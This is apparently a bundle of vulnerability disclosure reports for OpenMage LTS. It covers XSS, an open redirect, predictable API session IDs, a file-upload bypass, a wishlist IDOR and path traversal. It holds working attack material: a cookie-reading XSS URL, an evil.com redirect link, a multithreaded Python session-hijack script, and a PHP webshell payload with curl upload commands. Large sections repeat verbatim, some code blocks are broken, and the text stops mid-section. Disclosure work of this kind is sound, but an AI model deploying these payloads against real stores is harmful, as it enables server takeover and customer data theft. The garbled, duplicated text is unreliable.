A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Summary

Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal() When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc.

Vulnerable path:

// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}

Secure peer (priceAction()):

if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}

Steps to Reproduce

Prerequisites

• OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
• A valid, logged-in customer session on the target store

Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The preDispatch() hook calls Mage::getSingleton('customer/session')->authenticate($this). If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

Step 2 – Craft the Malicious URL

The uenc parameter is read raw via getParam() with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>

Key conditions:

• product_id must reference a non-existent product (triggers the vulnerable branch; any large ID works)
• uenc is the raw destination URL (no base64 encoding required)

Impact

Technical Impact

An attacker who controls the uenc parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

Business-Level Attack Vectors

| Scenario | Description | |------------------------|-----------------------------------------------------------------------------| | Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. | | OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. | | Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. | | Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

Propagation

A single malicious link can be embedded in:

• Customer emails (“Click here for stock notification preferences”)
• Forum posts, social media, or product reviews on the store
• SEO-poisoned search results that rank the store’s domain

Recommended Fix

Apply the same _isUrlInternal() guard used in priceAction() to the stockAction() missing-product

This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

| Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | time() | Unix timestamp (seconds) | Fully predictable | | uniqid('', true) prefix | sprintf('%08x%05x', $sec, $usec/10) | Highly predictable via network timing | | uniqid('', true) suffix | php_combined_lcg() decimal float | Process-state dependent (getpid() ^ time()) | | $sessionName | null (empty) — called without arg | Constant |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.

A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.

Steps to produce

• Login to the admin panel

• Go to the path System -> Import/Export -> Dataflow - Profiles

• Select profile direction as Import.

• Click on Import Customers

• Upload the file.

File Link: customer_20260212_204335.csv

• Go back to Run profile.

• Select the uploaded file and Click on Run in Popup.

• One can see a URL like this

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/

• One can see the filename getting reflection in HTML tags.

• Inject an HTML tag and observe.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/

• One can see the tag is getting executed.

• Proceed for XSS.

https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E

• There is an XSS popup.

Impact

Cookie stealing, JS deface, many more

Summary

Mage_ProductAlert_AddController::stockAction() reads the uenc query parameter and passes it directly to $this->_redirectUrl($backUrl) without calling $this->_isUrlInternal() When the supplied product_id does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as uenc.

Vulnerable path:

// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}

Secure peer (priceAction()):

if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}

Steps to Reproduce

Prerequisites

• OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
• A valid, logged-in customer session on the target store

Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The preDispatch() hook calls Mage::getSingleton('customer/session')->authenticate($this). If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

Step 2 – Craft the Malicious URL

The uenc parameter is read raw via getParam() with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>

Key conditions:

• product_id must reference a non-existent product (triggers the vulnerable branch; any large ID works)
• uenc is the raw destination URL (no base64 encoding required)

Impact

Technical Impact

An attacker who controls the uenc parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

Business-Level Attack Vectors

| Scenario | Description | |------------------------|-----------------------------------------------------------------------------| | Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. | | OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. | | Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. | | Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

Propagation

A single malicious link can be embedded in:

• Customer emails (“Click here for stock notification preferences”)
• Forum posts, social media, or product reviews on the store
• SEO-poisoned search results that rank the store’s domain

Recommended Fix

Apply the same _isUrlInternal() guard used in priceAction() to the stockAction() missing-product

This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on 20.16.0)

Affected File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php – start() method

Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

All inputs to the MD5 hash are time-derived and non-secure:

| Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | time() | Unix timestamp (seconds) | Fully predictable | | uniqid('', true) prefix | sprintf('%08x%05x', $sec, $usec/10) | Highly predictable via network timing | | uniqid('', true) suffix | php_combined_lcg() decimal float | Process-state dependent (getpid() ^ time()) | | $sessionName | null (empty) — called without arg | Constant |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.

Technical Analysis

Code Path

POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

Note: init() receives $sessionName='api' but invokes $this->start() without forwarding it, meaning the effective construction is strictly md5(time() . uniqid('', true)).

Live Evidence

Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (unix_sec= 1775817593):

Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)

The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

Steps to Reproduce (Online Brute-Force Scenario)

Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.

Step 1 – Record Login Timestamp

An attacker observes the precise moment a victim authenticates to /api/xmlrpc/ (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.

Step 2 – Generate Candidate Pool

The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a /server-status leak).

$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants

Step 3 – API Brute-Force (Session Hijack)

Because the /api/xmlrpc/ endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

Impact

Technical Impact

Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:

• Full product catalog read/write (catalog_product.*)
• Customer data read (customer.list, customer.info)
• Order manipulation (sales_order.*) Inventory control (cataloginventory_stock_item.*)

Business Impact

• Data Exfiltration: Read all customer PII, order history, and payment methods.
• Order Fraud: Create or cancel orders, change shipping addresses.
• Supply Chain / Inventory: Modify prices, inject malicious products, or zero out stock.

Affected API Protocols

The same vulnerable Session.php generation logic is shared across all legacy API surfaces:

• XML-RPC: /api/xmlrpc/
• SOAP v1: /api/soap/
• SOAP v2: /api/v2_soap/
• REST (legacy): /api/rest/

Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output

random_bytes() is backed by the OS CSPRNG (/dev/urandom on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site demo.openmage.org, but appeared the SOAP API endpoints are disabled on the demo environment

I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break

This is an AI-generated report validated by a human.

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result:

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

| Configuration | Status | |---------------|--------| | Apache + mod_php (with php_flag engine 0) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE |

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content

Cross-user wishlist item import via shared wishlist code, leading to private option disclosure and file-disclosure variant

Summary

The shared wishlist add-to-cart endpoint authorizes access with a public sharing_code, but loads the acted-on wishlist item by a separate global wishlist_item_id and never verifies that the item belongs to the shared wishlist referenced by that code.

This lets an attacker use:

• a valid shared wishlist code for wishlist A
• a wishlist item ID belonging to victim wishlist B

to import victim item B into the attacker's cart through the shared wishlist flow for wishlist A.

Because the victim item's stored buyRequest is reused during cart import, the victim's private custom-option data is copied into the attacker's quote. If the product uses a file custom option, this can be elevated to cross-user file disclosure because the imported file metadata is preserved and the download endpoint is not ownership-bound.

Vulnerability Type

• Broken object-level authorization / IDOR
• Cross-user data disclosure
• Cross-user file disclosure variant

Root Cause

In app/code/core/Mage/Wishlist/controllers/SharedController.php, the shared flow does:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);
...
$item->addToCart($cart);

Relevant lines:

• SharedController.php:86 loads the wishlist item by global ID
• SharedController.php:87 loads the wishlist by shared code
• SharedController.php:99 imports the item into cart

There is no check that:

$item->getWishlistId() == $wishlist->getId()

The safe owner flow in app/code/core/Mage/Wishlist/controllers/IndexController.php:521-528 does preserve this binding by deriving the wishlist from item->getWishlistId().

The imported item keeps its original buyRequest because app/code/core/Mage/Wishlist/Model/Item.php:370-372 passes that stored request directly into:

$cart->addProduct($product, $buyRequest);

Security Impact

Baseline impact

An attacker can import another user's private wishlist item into the attacker's own cart, using an unrelated shared wishlist code.

This is a clear cross-user authorization bypass. The victim item's private configuration is copied into the attacker's quote, including custom-option values such as personalized text.

Stronger variant: cross-user file disclosure

If the victim item contains a custom option of type file, the imported quote item preserves file metadata such as:

• quote_path
• order_path
• secret_key

The file option renderer in app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:547-552 generates a download URL from:

• the imported sales/quote_item_option ID
• the preserved secret_key

The downloader in app/code/core/Mage/Sales/controllers/DownloadController.php:150-185:

• loads quote item option by global ID
• verifies only product option type and secret_key
• reads the file from order_path or quote_path

It does not verify ownership of the quote item, order, or original wishlist item. This creates a cross-user file disclosure path once victim file metadata has been imported.

Steps To Reproduce

Lab data

• shared wishlist A:
  • wishlist_id = 1
  • customer_id = 2
  • sharing_code = 6376bb8c37a09c2de3664bd8cdc16412
• victim wishlist B:
  • wishlist_id = 2
  • customer_id = 3
• victim item:
  • wishlist_item_id = 1
  • wishlist_id = 2
  • product_id = 2
• victim private text option marker:
  • VICTIM-MARKER-49040822

Reproduction

Send:

GET /wishlist/shared/cart/?code=6376bb8c37a09c2de3664bd8cdc16412&item=1

Where:

• code belongs to shared wishlist A
• item=1 belongs to victim wishlist B

Expected result

The request should be rejected because the item does not belong to the shared wishlist referenced by the sharing_code.

Actual result

The application imports victim item 1 into the attacker's quote anyway.

Verified Evidence

Baseline variant

Previously verified at quote/option level in lab:

option_1 = VICTIM-MARKER-49040822

This shows that the attacker's cart received victim-private custom-option data from another user's wishlist item.

File-disclosure variant

Previously verified in lab after importing a victim file-option payload:

/sales/download/downloadCustomOption/id/9/key/86fca9b61c0b891b52fb/

This URL was generated from imported quote item option data containing the victim file metadata and secret key.

Why This Is A Valid Bug

This is not a timing issue and does not depend on non-default security settings.

The bug is a direct authorization failure:

• authorization is based on wishlist A's share code
• the acted-on object is item B from another wishlist
• there is no item-to-wishlist binding check
• victim-controlled item state is then copied into attacker-controlled cart state

That is a broken object-level authorization issue with clear cross-user impact.

Remediation

In SharedController::cartAction(), reject any request where the loaded item does not belong to the wishlist loaded from the share code:

$item = Mage::getModel('wishlist/item')->load($itemId);
$wishlist = Mage::getModel('wishlist/wishlist')->loadByCode($code);

if (!$item->getId() || !$wishlist->getId() || (int) $item->getWishlistId() !== (int) $wishlist->getId()) {
    return $this->_forward('noRoute');
}

Defense in depth:

• bind sales/download/downloadCustomOption to the current quote/order owner instead of trusting only id + secret_key

The Dataflow module in OpenMage LTS uses a weak blacklist filter (str_replace('../', '', $input)) to prevent path traversal attacks. This filter can be bypassed using patterns like ..././ or ....//, which after the replacement still result in ../. An authenticated administrator can exploit this to read arbitrary files from the server filesystem.

| Metric | Value | Justification | | ------------------------ | --------- | ------------------------------------- | | Attack Vector (AV) | Network | Exploitable via admin panel | | Attack Complexity (AC) | Low | Simple bypass pattern | | Privileges Required (PR) | High | Requires admin authentication | | User Interaction (UI) | None | No additional user interaction needed | | Scope (S) | Unchanged | Impacts the vulnerable component | | Confidentiality (C) | High | Can read sensitive system files | | Integrity (I) | None | Read-only vulnerability | | Availability (A) | None | No impact on availability |

Affected Products

• OpenMage LTS versions < 20.16.1
• All versions derived from Magento 1.x with these code paths

Affected Files

| File | Line | Vulnerable Code | | ------------------------------------------------------------ | ---- | ---------------------------------------- | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Csv.php | 67 | str_replace('../', '', urldecode(...)) | | app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php | 63 | str_replace('../', '', urldecode(...)) |

Vulnerability Details

The Dataflow module allows administrators to import data from files. The files parameter specifies which file to import from the var/import/ directory. To prevent path traversal, the code uses str_replace() to remove ../ sequences:

$file = Mage::app()->getConfig()->getTempVarDir() . '/import/'
    . str_replace('../', '', urldecode(Mage::app()->getRequest()->getParam('files')));

However, str_replace() only performs a single pass, making it trivially bypassable:

Bypass Examples

